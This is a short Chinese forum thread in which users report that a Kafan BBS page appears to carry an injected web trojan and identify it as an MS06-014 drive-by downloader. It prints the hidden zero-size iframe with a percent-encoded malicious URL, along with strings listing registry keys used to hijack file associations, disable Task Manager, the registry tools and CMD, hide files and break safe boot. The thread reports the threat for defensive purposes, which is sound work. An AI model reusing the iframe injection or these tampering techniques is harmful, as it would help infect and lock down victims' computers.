这个kafan的地址怀疑插入了xxx的东东

nomyself

如题 ：http://bbs.kafan.cn/viewthread.php?tid=242116&extra=page%3D1
这个东东：

;iframe src=http://%77%77%77%2E%31%35%38%64%6D%2E%63%6E/%61%31%2E%68%74%6D width=0 height=0></iframe> r+b ygr HACK     &quot;%1&quot; %*    exefile\shell\open\command  &quot;%1&quot; %* \\  A:\ NoBrowserOptions    Software\Policies\Microsoft\Internet Explorer\Restrictions  exloroe Software\Microsoft\Windows\CurrentVersion\Run   1   \word.com   C:\Documents and Settings\All Users\「开始」菜单\程序\启动  CheckedValue    SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL   DisableTaskMgr  Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr    Software\Microsoft\Windows\CurrentVersion\Policies\System   DisableRegistryTools    regfile\shell\open\command  Type    SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden  ShowSuperHidden Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced radio   Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL   NoFolderOptions Software\Microsoft\Windows\Current Version\Policies\Explorer\NoFolderOptions    SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}    SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}    SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}    SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}    AutoEndTasks    Control Panel\Desktop   NoCommon Groups Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCommon Groups DisableCMD  Software\Policies\Microsoft\Windows\System</div>

nomyself

是网马 Ms06014的。

nomyself

好像是那个新的耗子哦

哪位分析下，狂联网下载东东。

tanlimo

失效